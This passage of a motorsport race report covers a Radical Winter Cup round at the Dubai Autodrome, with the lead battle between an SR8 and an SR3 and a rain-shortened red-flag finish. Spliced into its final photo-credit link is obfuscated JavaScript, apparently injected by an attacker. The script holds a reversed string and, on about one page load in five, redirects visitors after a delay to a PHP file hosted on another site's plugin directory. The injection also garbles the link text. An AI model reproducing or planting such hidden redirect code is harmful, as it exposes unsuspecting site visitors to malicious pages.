No sign on pitroad. Confusion was spreading through the paddock, but circuit cameras eventually picked up the SR8 off-track, its driver pulling off his gloves and hanging his head. Battery issues had robbed the #1 crew of a sure thing.
New leader Charlie Kemp was far from safe though once the pitstop window was closed. Cooling track temperatures and falling grip levels meant the #21 SR8 was now being hunted down rapidly by Elgammal in the #2 SR3.
Third-placed Hamada (#3) was busy battling with Loffreda for position to make any serious attack, and would eventually give best to the Frenchman, who made another storming drive. Further back, limited braking meant Kronfli was struggling to keep his car underneath him. Sixth place and second-in-class would at least be salvaged at the flag.
That left Elgammal to take the fight to leader Kemp, the margin dropping quickly as the laps ticked by until there was little more than a car length between them. The SR3 had no answer for the SR8’s raw power on the straights, but better balance through the tight and twisting complex at the back of the circuit (which had caught out many of the drivers during the wet qualifying session) meant the Australian stayed well within reach.
Several times the two would cross the line line-astern, Kemp’s lead looking ever more precarious. The tension in the paddock was almost tangible: could an SR3 actually beat the more powerful SR8 to overall victory?
We would never know. With less than five minutes to run, the rain returned hard, and soon the track was dowsed. Despite running on wet tyres, circuit officials deemed the conditions too dangerous, and ran the red flag (bizarrely, with just 3m 33s of the race left). The Kemp/Sykes #21 SR8 had taken victory, but they knew they’d been thrown a lifeline.
For some it had been a tough day at the office at the Dubai Autodrome. For others, there had been a big silver lining amidst the grey clouds.
– Shots courtesy of 4WheelsofLux. Be sure to $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/20122013-ngk-racing-seriesradical-winter-cup-round-2/” target=”_blank”>check out the full gallery HERE.
